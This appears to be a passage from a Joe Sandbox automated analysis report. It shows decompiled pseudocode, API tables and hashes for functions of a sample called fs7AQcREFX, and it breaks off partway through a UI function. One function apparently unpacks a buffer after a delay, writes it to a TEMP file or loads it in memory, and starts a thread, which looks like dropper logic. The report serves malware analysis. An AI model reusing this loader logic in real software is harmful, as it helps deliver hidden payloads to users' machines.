				long* _t141;
				long* _t146;
				long* _t147;
				char _t150;
				void* _t153;
				intOrPtr* _t156;
				intOrPtr _t158;
				signed int _t160;
				CHAR* _t168;
				long* _t170;
				long* _t171;
				long* _t181;
				long* _t183;
				intOrPtr _t186;
				CHAR** _t188;
				long* _t189;
				CHAR* _t191;
				LONG* _t192;
				LONG* _t193;
				void* _t195;
				void* _t212;
				void* _t213;
				void* _t216;

				_t191 = _a8;
				_v20 = _a12;
				_v8 = 0;
				while( *_t191 != 0) {
					if( *_t191 != 0x25) {
						L82:
						_t111 = CharNextA(_t191);
						_t63 =  &_v8;
						 *_t63 = _v8 + _t111 - _t191;
						__eflags =  *_t63;
					} else {
						_t191 = CharNextA(_t191);
						_t115 =  *_t191;
						if(_t115 == 0x25) {
							goto L82;
						} else {
							_t189 = 0;
							_v12 = 0;
							if(_t115 == 0) {
								L15:
								_push(_t191);
								_v12 = E001060F2();
								_t117 =  *_t191;
								_t195 = _t195 + 4;
								if( *_t191 != 0) {
									while(1) {
										_t153 = E001063BE(_t117);
										_t195 = _t195 + 4;
										if(_t153 == 0) {
											goto L18;
										}
										_t191 = CharNextA(_t191);
										_t117 =  *_t191;
										if( *_t191 != 0) {
											continue;
										}
										goto L18;
									}
								}
							} else {
								do {
									if(_t115 != 0x23) {
										__eflags = _t115 - 0x2a;
										if(_t115 != 0x2a) {
											__eflags = _t115 - 0x2d;
											if(_t115 == 0x2d) {
												goto L13;
											} else {
												__eflags = _t115 - 0x2b;
												if(_t115 == 0x2b) {
													goto L13;
												} else {
													__eflags = _t115 - 0x30;
													if(_t115 == 0x30) {
														goto L13;
													} else {
														__eflags = _t115 - 0x20;
														if(_t115 == 0x20) {
															goto L13;
														}
													}
												}
											}
										} else {
											_t156 = _a12;
											_a12 = _t156 + 4;
											_v12 =  *_t156;
											goto L13;
										}
									} else {
										_v8 = _v8 + 2;
										goto L13;
									}
									break;
									L13:
									_t191 = CharNextA(_t191);
									_t115 =  *_t191;
								} while (_t115 != 0);
								if(_v12 == _t189) {
									goto L15;
								}
							}
							L18:
							_v16 = _t189;
							if( *_t191 == 0x2e) {
								_t191 = CharNextA(_t191);
								_push(_t191);
								if( *_t191 != 0x2a) {
									_v16 = E001060F2();
									_t146 =  *_t191;
									_t195 = _t195 + 4;
									__eflags = _t146;
									if(_t146 != 0) {
										while(1) {
											_t147 = E001063BE(_t146);
											_t195 = _t195 + 4;
											__eflags = _t147;
											if(_t147 == 0) {
												goto L24;
											}
											_t191 = CharNextA(_t191);
											_t146 =  *_t191;
											__eflags = _t146;
											if(_t146 != 0) {
												continue;
											}
											goto L24;
										}
									}
								} else {
									_t150 = _a12 + 4;
									_a12 = _t150;
									_v16 =  *((intOrPtr*)(_t150 - 4));
									_t191 = CharNextA(??);
								}
							}
							L24:
							_t118 =  *_t191;
							_t160 = 0;
							if(_t118 != 0x49 || _t191[1] != 0x36 || _t191[2] != 0x34) {
								_t120 = _t118 + 0xffffffba;
								__eflags = _t120 - 0x26;
								if(_t120 <= 0x26) {
									_t21 = _t120 + 0xf5d3c; // 0x8b04c483
									switch( *((intOrPtr*)(( *_t21 & 0x000000ff) * 4 +  &M000F5D2C))) {
										case 0:
											L32:
											_t191 = CharNextA(_t191);
											goto L33;
										case 1:
											_t160 = 0x10000;
											goto L32;
										case 2:
											__ebx = 0x20000;
											goto L32;
										case 3:
											goto L33;
									}
								}
							} else {
								_t191 =  &(_t191[3]);
								_t160 = 0x40000;
							}
							L33:
							_t122 =  *_t191 | _t160;
							_t212 = _t122 - 0x10063;
							if(_t212 > 0) {
								__eflags = _t122 - 0x20053;
								if(__eflags > 0) {
									_t123 = _t122 - 0x20063;
									__eflags = _t123;
									if(_t123 == 0) {
										goto L50;
									} else {
										__eflags = _t123 != 0x10;
										if(_t123 != 0x10) {
											goto L41;
										} else {
											goto L63;
										}
									}
								} else {
									if(__eflags == 0) {
										L63:
										_t136 = _a12 + 4;
										_a12 = _t136;
										_t137 =  *(_t136 - 4);
										__eflags = _t137;
										if(_t137 != 0) {
											_t42 =  &(_t137[0]); // 0x2
											_t183 = _t42;
											do {
												_t171 =  *_t137;
												_t137 =  &(_t137[0]);
												__eflags = _t171;
											} while (_t171 != 0);
											goto L47;
										} else {
											_t41 =  &(_t137[1]); // 0x6
											_t189 = _t41;
											goto L69;
										}
									} else {
										__eflags = _t122 - 0x10073;
										if(_t122 == 0x10073) {
											goto L51;
										} else {
											__eflags = _t122 - 0x20043;
											goto L40;
										}
									}
								}
							} else {
								if(_t212 == 0) {
									L50:
									_a12 = _a12 + 4;
									_t189 = 2;
									goto L69;
								} else {
									_t213 = _t122 - 0x73;
									if(_t213 > 0) {
										_t141 = _t122 - 0x10043;
										__eflags = _t141;
										if(_t141 == 0) {
											goto L50;
										} else {
											__eflags = _t141 == 0x10;
											if(_t141 == 0x10) {
												goto L51;
											} else {
												goto L41;
											}
										}
									} else {
										if(_t213 == 0) {
											L51:
											_t139 = _a12 + 4;
											_a12 = _t139;
											_t140 =  *(_t139 - 4);
											__eflags = _t140;
											if(_t140 != 0) {
												_t134 = lstrlenA(_t140);
												goto L48;
											} else {
												_t37 =  &(_t140[6]); // 0x6
												_t189 = _t37;
												goto L69;
											}
										} else {
											if(_t122 == 0x43) {
												goto L50;
											} else {
												if(_t122 == 0x53) {
													_t131 = _a12 + 4;
													_a12 = _t131;
													_t132 =  *((intOrPtr*)(_t131 - 4));
													if(_t132 != 0) {
														_t31 = _t132 + 2; // 0x2
														_t183 = _t31;
														do {
															_t170 =  *_t132;
															_t132 = _t132 + 2;
															__eflags = _t170;
														} while (_t170 != 0);
														L47:
														_t133 = _t132 - _t183;
														__eflags = _t133;
														_t134 = _t133 >> 1;
														L48:
														_t189 = _t134;
														__eflags = _t189 - 1;
														if(_t189 >= 1) {
															__eflags = _t189;
															if(_t189 == 0) {
																goto L41;
															} else {
																goto L69;
															}
														} else {
															_t189 = 1;
															goto L69;
														}
													} else {
														_t30 = _t132 + 6; // 0x6
														_t189 = _t30;
														L69:
														_t124 = _v12;
														if(_t189 <= _t124) {
															_t189 = _t124;
														}
														_t125 = _v16;
														if(_t125 == 0 || _t189 < _t125) {
															goto L81;
														} else {
															_v8 = _v8 + _t125;
														}
													}
												} else {
													_t216 = _t122 - 0x63;
													L40:
													if(_t216 == 0) {
														goto L50;
													} else {
														L41:
														_t128 =  *_t191 + 0xffffffbb;
														if(_t128 > 0x33) {
															L81:
															_v8 = _v8 + _t189;
														} else {
															_t24 = _t128 + 0xf5d78; // 0xff5608eb
															switch( *((intOrPtr*)(( *_t24 & 0x000000ff) * 4 +  &M000F5D64))) {
																case 0:
																	OutputDebugStringA("Floating point (%%e, %%f, %%g, and %%G) is not supported by the WTL::CString class.");
																	DebugBreak();
																	_v8 = _v8 + __edi;
																	__ebx = CharNextA;
																	goto L83;
																case 1:
																	__eflags = __ebx & 0x00040000;
																	if((__ebx & 0x00040000) == 0) {
																		goto L76;
																	} else {
																		_a12 = _a12 + 8;
																	}
																	goto L77;
																case 2:
																	_t59 =  &_a12;
																	 *_t59 = _a12 + 4;
																	__eflags =  *_t59;
																	goto L81;
																case 3:
																	L76:
																	_t51 =  &_a12;
																	 *_t51 = _a12 + 4;
																	__eflags =  *_t51;
																	L77:
																	__eax = _v16;
																	__eax = _v16 + _v12;
																	__edi = 0x20;
																	__eflags = __eax - 0x20;
																	if(__eax < 0x20) {
																		goto L81;
																	} else {
																		__ebx = CharNextA;
																		__edi = __eax;
																		_v8 = _v8 + __edi;
																	}
																	goto L83;
																case 4:
																	goto L81;
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
					L83:
					_t191 = CharNextA(_t191);
				}
				_t174 = _a4;
				_t88 =  *_a4;
				_t186 = _v8;
				_t68 = _t88 - 0xc; // -12
				_t192 = _t68;
				if( *(_t88 - 0xc) > 1 || _t186 >  *((intOrPtr*)(_t88 - 4))) {
					_t158 =  *((intOrPtr*)(_t88 - 8));
					if(_v8 < _t158) {
						_t186 = _t158;
					}
					if(E000F5E70(_t174) == 0) {
						goto L95;
					} else {
						_t91 = _t158 + 1;
						if(_t186 + 1 >= _t158 + 1) {
							_t74 =  &(_t192[3]); // 0xd
							E001096A0( *_a4, _t74, _t91);
							_t195 = _t195 + 0xc;
						}
						 *((intOrPtr*)( *_a4 - 8)) = _t158;
						if(_t192 != 0x15ad20 && InterlockedDecrement(_t192) <= 0) {
							_push(_t192);
							E001062C2();
							_t195 = _t195 + 4;
						}
						goto L94;
					}
				} else {
					L94:
					_t188 = _a4;
					_t93 =  *_t188;
					if(_t93 != 0) {
						wvsprintfA(_t93, _a8, _v20);
						_t95 =  *_t188;
						__eflags =  *(_t95 - 0xc) - 1;
						_t81 = _t95 - 0xc; // -12
						_t193 = _t81;
						if( *(_t95 - 0xc) > 1) {
							__eflags =  &(_t95[0xfffffffffffffff4]) - 0x15ad20;
							if( &(_t95[0xfffffffffffffff4]) != 0x15ad20) {
								_t104 = InterlockedDecrement(_t193);
								__eflags = _t104;
								if(_t104 <= 0) {
									_t181 =  *_t188 - 0xc;
									__eflags = _t181;
									_push(_t181);
									E001062C2();
									_t195 = _t195 + 4;
								}
								_t105 =  *0x15ad30; // 0x15ad2c
								 *_t188 = _t105;
							}
							_t100 = E000F5E70(_t188);
							__eflags = _t100;
							if(_t100 != 0) {
								_t168 =  *_t188;
								_t102 = 1 + _t193[1];
								__eflags =  *((intOrPtr*)(_t168 - 4)) + 1 - _t102;
								if( *((intOrPtr*)(_t168 - 4)) + 1 >= _t102) {
									__eflags =  &(_t193[3]);
									E001096A0(_t168,  &(_t193[3]), _t102);
								}
							}
						}
						_t97 = lstrlenA( *_t188);
						 *( *_t188 - 8) = _t97;
						( *_t188)[_t97] = 0;
						return 1;
					} else {
						L95:
						return 0;
					}
				}
			}

0x000f591b
0x000f5922
0x000f5925
0x000f592c
0x000f5943
0x000f5c05
0x000f5c06
0x000f5c0a
0x000f5c0a
0x000f5c0a
0x000f5949
0x000f594c
0x000f594e
0x000f5952
0x00000000
0x000f5958
0x000f5958
0x000f595a
0x000f595f
0x000f599f
0x000f599f
0x000f59a5
0x000f59a8
0x000f59aa
0x000f59af
0x000f59b1
0x000f59b5
0x000f59ba
0x000f59bf
0x00000000
0x00000000
0x000f59c4
0x000f59c6
0x000f59ca
0x00000000
0x00000000
0x00000000
0x000f59ca
0x000f59b1
0x000f5961
0x000f5961
0x000f5963
0x000f596b
0x000f596d
0x000f597f
0x000f5981
0x00000000
0x000f5983
0x000f5983
0x000f5985
0x00000000
0x000f5987
0x000f5987
0x000f5989
0x00000000
0x000f598b
0x000f598b
0x000f598d
0x00000000
0x00000000
0x000f598d
0x000f5989
0x000f5985
0x000f596f
0x000f596f
0x000f5977
0x000f597a
0x00000000
0x000f597a
0x000f5965
0x000f5965
0x00000000
0x000f5965
0x00000000
0x000f598f
0x000f5992
0x000f5994
0x000f5996
0x000f599d
0x00000000
0x00000000
0x000f599d
0x000f59cc
0x000f59cf
0x000f59d2
0x000f59d7
0x000f59dc
0x000f59dd
0x000f59f9
0x000f59fc
0x000f59fe
0x000f5a01
0x000f5a03
0x000f5a05
0x000f5a09
0x000f5a0e
0x000f5a11
0x000f5a13
0x00000000
0x00000000
0x000f5a18
0x000f5a1a
0x000f5a1c
0x000f5a1e
0x00000000
0x00000000
0x00000000
0x000f5a1e
0x000f5a05
0x000f59df
0x000f59e2
0x000f59e5
0x000f59eb
0x000f59f0
0x000f59f0
0x000f59dd
0x000f5a20
0x000f5a20
0x000f5a22
0x000f5a26
0x000f5a41
0x000f5a44
0x000f5a47
0x000f5a49
0x000f5a50
0x00000000
0x000f5a63
0x000f5a6a
0x00000000
0x00000000
0x000f5a57
0x00000000
0x00000000
0x000f5a5e
0x00000000
0x00000000
0x00000000
0x00000000
0x000f5a50
0x000f5a34
0x000f5a34
0x000f5a37
0x000f5a37
0x000f5a6c
0x000f5a6f
0x000f5a71
0x000f5a76
0x000f5b31
0x000f5b36
0x000f5b4b
0x000f5b4b
0x000f5b50
0x00000000
0x000f5b52
0x000f5b52
0x000f5b55
0x00000000
0x00000000
0x00000000
0x00000000
0x000f5b55
0x000f5b38
0x000f5b38
0x000f5b5b
0x000f5b5e
0x000f5b61
0x000f5b64
0x000f5b67
0x000f5b69
0x000f5b70
0x000f5b70
0x000f5b73
0x000f5b73
0x000f5b76
0x000f5b79
0x000f5b79
0x00000000
0x000f5b6b
0x000f5b6b
0x000f5b6b
0x00000000
0x000f5b6b
0x000f5b3a
0x000f5b3a
0x000f5b3f
0x00000000
0x000f5b41
0x000f5b41
0x00000000
0x000f5b41
0x000f5b3f
0x000f5b38
0x000f5a7c
0x000f5a7c
0x000f5af4
0x000f5af4
0x000f5af8
0x00000000
0x000f5a7e
0x000f5a7e
0x000f5a81
0x000f5b20
0x000f5b20
0x000f5b25
0x00000000
0x000f5b27
0x000f5b27
0x000f5b2a
0x00000000
0x000f5b2c
0x00000000
0x000f5b2c
0x000f5b2a
0x000f5a87
0x000f5a87
0x000f5b02
0x000f5b05
0x000f5b08
0x000f5b0b
0x000f5b0e
0x000f5b10
0x000f5b18
0x00000000
0x000f5b12
0x000f5b12
0x000f5b12
0x00000000
0x000f5b12
0x000f5a89
0x000f5a8c
0x00000000
0x000f5a8e
0x000f5a91
0x000f5ab8
0x000f5abb
0x000f5abe
0x000f5ac3
0x000f5acd
0x000f5acd
0x000f5ad0
0x000f5ad0
0x000f5ad3
0x000f5ad6
0x000f5ad6
0x000f5adb
0x000f5adb
0x000f5adb
0x000f5add
0x000f5adf
0x000f5adf
0x000f5ae1
0x000f5ae4
0x000f5b83
0x000f5b85
0x00000000
0x00000000
0x00000000
0x00000000
0x000f5aea
0x000f5aea
0x00000000
0x000f5aea
0x000f5ac5
0x000f5ac5
0x000f5ac5
0x000f5b8b
0x000f5b8b
0x000f5b90
0x000f5b92
0x000f5b92
0x000f5b94
0x000f5b99
0x00000000
0x000f5b9f
0x000f5ba7
0x000f5ba7
0x000f5b99
0x000f5a93
0x000f5a93
0x000f5a96
0x000f5a96
0x00000000
0x000f5a98
0x000f5a98
0x000f5a9b
0x000f5aa1
0x000f5bfa
0x000f5bfa
0x000f5aa7
0x000f5aa7
0x000f5aae
0x00000000
0x000f5bdf
0x000f5be5
0x000f5beb
0x000f5bee
0x00000000
0x00000000
0x000f5bac
0x000f5bb2
0x00000000
0x000f5bb4
0x000f5bb4
0x000f5bb4
0x00000000
0x00000000
0x000f5bf6
0x000f5bf6
0x000f5bf6
0x00000000
0x00000000
0x000f5bba
0x000f5bba
0x000f5bba
0x000f5bba
0x000f5bbe
0x000f5bbe
0x000f5bc1
0x000f5bc4
0x000f5bc9
0x000f5bcb
0x00000000
0x000f5bcd
0x000f5bcd
0x000f5bd3
0x000f5bd5
0x000f5bd5
0x00000000
0x00000000
0x00000000
0x00000000
0x000f5aae
0x000f5aa1
0x000f5a96
0x000f5a91
0x000f5a8c
0x000f5a87
0x000f5a81
0x000f5a7c
0x000f5a76
0x000f5952
0x000f5c0d
0x000f5c10
0x000f5c12
0x000f5c1b
0x000f5c1e
0x000f5c24
0x000f5c27
0x000f5c27
0x000f5c2a
0x000f5c31
0x000f5c37
0x000f5c39
0x000f5c39
0x000f5c44
0x00000000
0x000f5c46
0x000f5c46
0x000f5c4c
0x000f5c54
0x000f5c59
0x000f5c5e
0x000f5c5e
0x000f5c66
0x000f5c6f
0x000f5c7c
0x000f5c7d
0x000f5c82
0x000f5c82
0x00000000
0x000f5c6f
0x000f5c85
0x000f5c85
0x000f5c85
0x000f5c88
0x000f5c8c
0x000f5ca2
0x000f5ca8
0x000f5caa
0x000f5cae
0x000f5cae
0x000f5cb1
0x000f5cb6
0x000f5cbb
0x000f5cbe
0x000f5cc4
0x000f5cc6
0x000f5cca
0x000f5cca
0x000f5ccd
0x000f5cce
0x000f5cd3
0x000f5cd3
0x000f5cd6
0x000f5cdb
0x000f5cdb
0x000f5ce2
0x000f5ce7
0x000f5ce9
0x000f5ceb
0x000f5cf3
0x000f5cf5
0x000f5cf7
0x000f5cfa
0x000f5cff
0x000f5d04
0x000f5cf7
0x000f5ce9
0x000f5d0a
0x000f5d12
0x000f5d19
0x000f5d26
0x000f5c90
0x000f5c90
0x000f5c96
0x000f5c96
0x000f5c8c

APIs

CharNextA.USER32(?), ref: 000F594A
CharNextA.USER32(00000000), ref: 000F5990
CharNextA.USER32(00000000), ref: 000F59C2
CharNextA.USER32(00000000), ref: 000F59D5
CharNextA.USER32(00000000), ref: 000F59EE
CharNextA.USER32(00000000), ref: 000F5A16
CharNextA.USER32(00000000), ref: 000F5A64
OutputDebugStringA.KERNEL32(Floating point (%%e, %%f, %%g, and %%G) is not supported by the WTL::CString class.), ref: 000F5BDF
DebugBreak.KERNEL32 ref: 000F5BE5
CharNextA.USER32(?), ref: 000F5C06
CharNextA.USER32(?), ref: 000F5C0E
_memmove.LIBCMT ref: 000F5C59
InterlockedDecrement.KERNEL32(00000001), ref: 000F5C72
wvsprintfA.USER32(?,00000001,?), ref: 000F5CA2
InterlockedDecrement.KERNEL32(-0000000C), ref: 000F5CBE
_memmove.LIBCMT ref: 000F5CFF
lstrlenA.KERNEL32(00000000), ref: 000F5D0A

Strings

Floating point (%%e, %%f, %%g, and %%G) is not supported by the WTL::CString class., xrefs: 000F5BDA

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: CharNext$DebugDecrementInterlocked_memmove$BreakOutputStringlstrlenwvsprintf
String ID: Floating point (%%e, %%f, %%g, and %%G) is not supported by the WTL::CString class.
API String ID: 3221026881-233888011
Opcode ID: ac2b568a555cbb38d32a3b4cc875351e8b8b82a98ccefd34422fc48d75e0a52d
Instruction ID: 472ae8d14455307869541385697002cd91ae2db5bcb2c4b6bb8dbb27f739b31e
Opcode Fuzzy Hash: ac2b568a555cbb38d32a3b4cc875351e8b8b82a98ccefd34422fc48d75e0a52d
Instruction Fuzzy Hash: AFD1E471900A4D8FDB64CF28CC886BEB7E4AF49312F188565DB92D7A11E370DD91EB81

Uniqueness

Uniqueness Score: -1.00%

Function 04006DA0 Relevance: 33.6, APIs: 18, Strings: 1, Instructions: 354
memoryfilesleepCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E04006DA0(intOrPtr* _a4) {
				intOrPtr* _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				void* _v36;
				struct _SECURITY_ATTRIBUTES* _v40;
				long _v44;
				void* _v48;
				void* _v52;
				void* _v56;
				char _v324;
				void* _v328;
				char _v340;
				char _v604;
				long _v608;
				int _v612;
				long _v616;
				void* _v620;
				long _v624;
				intOrPtr _v628;
				void* _v632;
				intOrPtr _t198;
				struct _SECURITY_ATTRIBUTES* _t217;
				void* _t223;
				struct _SECURITY_ATTRIBUTES* _t248;
				void* _t347;
				void* _t349;
				void* _t350;

				_v8 = _a4;
				if(_v8 == 0) {
					L39:
					return 0;
				}
				Sleep( *(_v8 + 0x14) * 0x3c * 0x3e8);
				__imp__CoInitialize(0);
				_v32 =  *_v8;
				_v28 =  *((intOrPtr*)(_v8 + 4));
				_v24 =  *((intOrPtr*)(_v8 + 8));
				_v12 =  *(_v8 + 0x14);
				_v20 =  *(_v8 + 0xc);
				_v16 =  *((intOrPtr*)(_v8 + 0x10));
				if(( *(_v8 + 0xc) & 0x00000001) == 0) {
					GetEnvironmentVariableA("TEMP",  &_v604, 0x104);
					E04007D20( &_v340,  &_v340, 0, 0xa);
					E04009730( &_v340, 4);
					_t349 = _t347 + 0x14;
					GetTempFileNameA( &_v604,  &_v340, GetTickCount() % 0xffff,  &_v324);
					_v328 = CreateFileA( &_v324, 0x40000000, 1, 0, 2, 0, 0);
					if(_v328 != 0xffffffff) {
						_v608 = 0;
						_v612 = 0;
						_v616 =  *(_v8 + 0x1c);
						if(( *(_v8 + 0xc) & 0x00000010) == 0) {
							_v612 = WriteFile(_v328,  *(_v8 + 0x18),  *(_v8 + 0x1c),  &_v608, 0);
						} else {
							_v624 =  *((intOrPtr*)( *(_v8 + 0x1c) +  *(_v8 + 0x18) - 4));
							_v620 = VirtualAlloc(0, _v624, 0x3000, 4);
							if(_v620 != 0) {
								if(E04006260(_v8,  *(_v8 + 0x18),  *(_v8 + 0x1c), _v620, _v624) == _v624) {
									_v612 = WriteFile(_v328, _v620, _v624,  &_v608, 0);
									_v616 = _v624;
								}
								VirtualFree(_v620, 0, 0x8000);
							}
						}
						CloseHandle(_v328);
						if(_v612 != 0 && _v608 == _v616) {
							_t198 = E04001E60( &_v324);
							_t350 = _t349 + 4;
							_v628 = _t198;
							if(_v628 != 0) {
								if( *((intOrPtr*)(_v8 + 0x10)) != 0) {
									E040073C0( &_v32,  *(_v8 + 0x18),  *(_v8 + 0x1c));
									_t350 = _t350 + 0xc;
								}
								if(( *(_v8 + 0xc) & 0x00000004) != 0) {
									E04002510(_v628, 0x400e290);
								}
							}
						}
					}
					L38:
					__imp__CoUninitialize();
					goto L39;
				}
				_v40 = 0;
				_v36 = 0;
				_v44 = 0;
				if(( *(_v8 + 0xc) & 0x00000010) == 0) {
					_t217 = E04002070( *(_v8 + 0x18));
					_t347 = _t347 + 4;
					_v40 = _t217;
				} else {
					_v44 =  *((intOrPtr*)( *(_v8 + 0x1c) +  *(_v8 + 0x18) - 4));
					_v48 = VirtualAlloc(0, _v44, 0x3000, 4);
					if(_v48 != 0) {
						if(E04006260( *(_v8 + 0x1c),  *(_v8 + 0x18),  *(_v8 + 0x1c), _v48, _v44) == _v44) {
							_t248 = E04002070(_v48);
							_t347 = _t347 + 4;
							_v40 = _t248;
							if(( *(_v8 + 0xc) & 0x00000008) != 0) {
								_v36 = VirtualAlloc(0, _v44, 0x3000, 4);
								E04007B70(_v36, _v48, _v44);
								_t347 = _t347 + 0xc;
							}
						}
						VirtualFree(_v48, 0, 0x8000);
					}
				}
				if(_v40 == 0) {
					L22:
					goto L38;
				} else {
					if( *((intOrPtr*)(_v8 + 0x10)) != 0) {
						E040073C0( &_v32,  *(_v8 + 0x18),  *(_v8 + 0x1c));
						_t347 = _t347 + 0xc;
					}
					if(( *(_v8 + 0xc) & 0x00000008) != 0) {
						_t223 = E040097A0(0x10);
						_t347 = _t347 + 4;
						_v632 = _t223;
						_v52 = _v632;
						if(( *(_v8 + 0xc) & 0x00000010) == 0) {
							 *_v52 = VirtualAlloc(0,  *(_v8 + 0x1c), 0x3000, 4);
							if( *_v52 != 0) {
								E04007B70( *_v52,  *(_v8 + 0x18),  *(_v8 + 0x1c));
								_t347 = _t347 + 0xc;
								 *(_v52 + 4) =  *(_v8 + 0x1c);
							}
						} else {
							 *_v52 = _v36;
							 *(_v52 + 4) = _v44;
						}
						if( *_v52 != 0) {
							 *(_v52 + 8) =  *(_v8 + 0xc);
							 *((intOrPtr*)(_v52 + 0xc)) = _v40;
							_v56 = CreateThread(0, 0, E040077B0, _v52, 0, 0);
							CloseHandle(_v56);
						}
					}
					if(( *(_v8 + 0xc) & 0x00000004) != 0) {
						E04002510(_v40, 0x400e290);
					}
					goto L22;
				}
			}

0x04006dac
0x04006db3
0x0400723f
0x04007244
0x04007244
0x04006dc9
0x04006dd1
0x04006ddc
0x04006de5
0x04006dee
0x04006df7
0x04006e00
0x04006e09
0x04006e15
0x04007028
0x04007039
0x0400704a
0x0400704f
0x04007077
0x04007099
0x040070a6
0x040070ac
0x040070b6
0x040070c6
0x040070d5
0x040071af
0x040070db
0x040070eb
0x04007107
0x04007114
0x0400713d
0x04007163
0x0400716f
0x0400716f
0x04007183
0x04007183
0x04007189
0x040071bc
0x040071c9
0x040071e0
0x040071e5
0x040071e8
0x040071f5
0x040071fe
0x04007212
0x04007217
0x04007217
0x04007223
0x04007231
0x04007236
0x04007223
0x040071f5
0x040071c9
0x04007239
0x04007239
0x00000000
0x04007239
0x04006e1b
0x04006e22
0x04006e29
0x04006e39
0x04006eec
0x04006ef1
0x04006ef4
0x04006e3f
0x04006e4f
0x04006e65
0x04006e6c
0x04006e8c
0x04006e92
0x04006e97
0x04006e9a
0x04006ea6
0x04006ebb
0x04006eca
0x04006ecf
0x04006ecf
0x04006ea6
0x04006edd
0x04006edd
0x04006ee3
0x04006efb
0x04007012
0x00000000
0x04006f01
0x04006f08
0x04006f1c
0x04006f21
0x04006f21
0x04006f2d
0x04006f35
0x04006f3a
0x04006f3d
0x04006f49
0x04006f55
0x04006f83
0x04006f8b
0x04006fa1
0x04006fa6
0x04006fb2
0x04006fb2
0x04006f57
0x04006f5d
0x04006f65
0x04006f65
0x04006fbb
0x04006fc6
0x04006fcf
0x04006fe9
0x04006ff0
0x04006ff0
0x04006fbb
0x04006fff
0x0400700a
0x0400700f
0x00000000
0x04006fff

APIs

Sleep.KERNEL32(?), ref: 04006DC9
CoInitialize.OLE32(00000000), ref: 04006DD1
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04006E5F
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004,00000000), ref: 04006EB5
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,00000000,00000000), ref: 04006EDD
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 04006F7A
CreateThread.KERNEL32 ref: 04006FE3
CloseHandle.KERNEL32(?), ref: 04006FF0
GetEnvironmentVariableA.KERNEL32(TEMP,?,00000104), ref: 04007028
GetTickCount.KERNEL32 ref: 04007059
GetTempFileNameA.KERNEL32(?,?,00000000), ref: 04007077
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000), ref: 04007093
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 04007101
WriteFile.KERNEL32(000000FF,00000000,?,00000000,00000000,?,?,00000000,?), ref: 0400715D
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,00000000,?), ref: 04007183
WriteFile.KERNEL32(000000FF,?,?,00000000,00000000), ref: 040071A9
CloseHandle.KERNEL32(000000FF), ref: 040071BC
CoUninitialize.OLE32 ref: 04007239

Strings

TEMP, xrefs: 04007023

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: Virtual$AllocFile$CloseCreateFreeHandleWrite$CountEnvironmentInitializeNameSleepTempThreadTickUninitializeVariable
String ID: TEMP
API String ID: 3110491842-1036413054
Opcode ID: 05801680803462ba2d4cfcd211f126ae5d7fafa0105253d93b0c039220193637
Instruction ID: 2b87ebad86062e1f9aa8347128cf2fe592da7145f1ccd4accac7794ca236a0a8
Opcode Fuzzy Hash: 05801680803462ba2d4cfcd211f126ae5d7fafa0105253d93b0c039220193637
Instruction Fuzzy Hash: 1FF10975A00208EFEB58DF94D984F9DB7B5BB88304F248698E509BB390D775AE81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 001011F0 Relevance: 33.2, APIs: 22, Instructions: 249
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E001011F0(void* __ecx) {
				signed int _v8;
				struct tagRECT _v24;
				char _v56;
				intOrPtr _v57;
				intOrPtr _v58;
				intOrPtr _v59;
				intOrPtr _v60;
				intOrPtr _v61;
				intOrPtr _v62;
				intOrPtr _v63;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				char _v80;
				void _v84;
				struct tagLOGFONTA _v268;
				char _v424;
				void _v428;
				struct _OSVERSIONINFOA _v580;
				void _v584;
				struct HWND__* _v588;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t83;
				struct HWND__* _t88;
				void* _t91;
				signed char _t103;
				int _t114;
				signed char _t115;
				void* _t121;
				void* _t123;
				void* _t139;
				struct HDC__* _t171;
				int _t172;
				void* _t174;
				signed int _t175;
				void* _t176;
				void* _t177;

				_t83 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t83 ^ _t175;
				_t174 = __ecx;
				_v428 = 0x154;
				E00106820( &_v424, 0, 0x150);
				_t177 = _t176 + 0xc;
				if(SystemParametersInfoA(0x29, 0x154,  &_v428, 0) == 0) {
					L25:
					_t88 =  *(_t174 + 4);
					_v588 = _t88;
					_t171 = GetWindowDC(_t88);
					_t91 = SelectObject(_t171,  *(_t174 + 0xa4));
					_v24.left = 0;
					_v24.top = 0;
					_v24.right = 0;
					_v24.bottom = 0;
					_t139 = DrawTextA;
					_v584 = _t91;
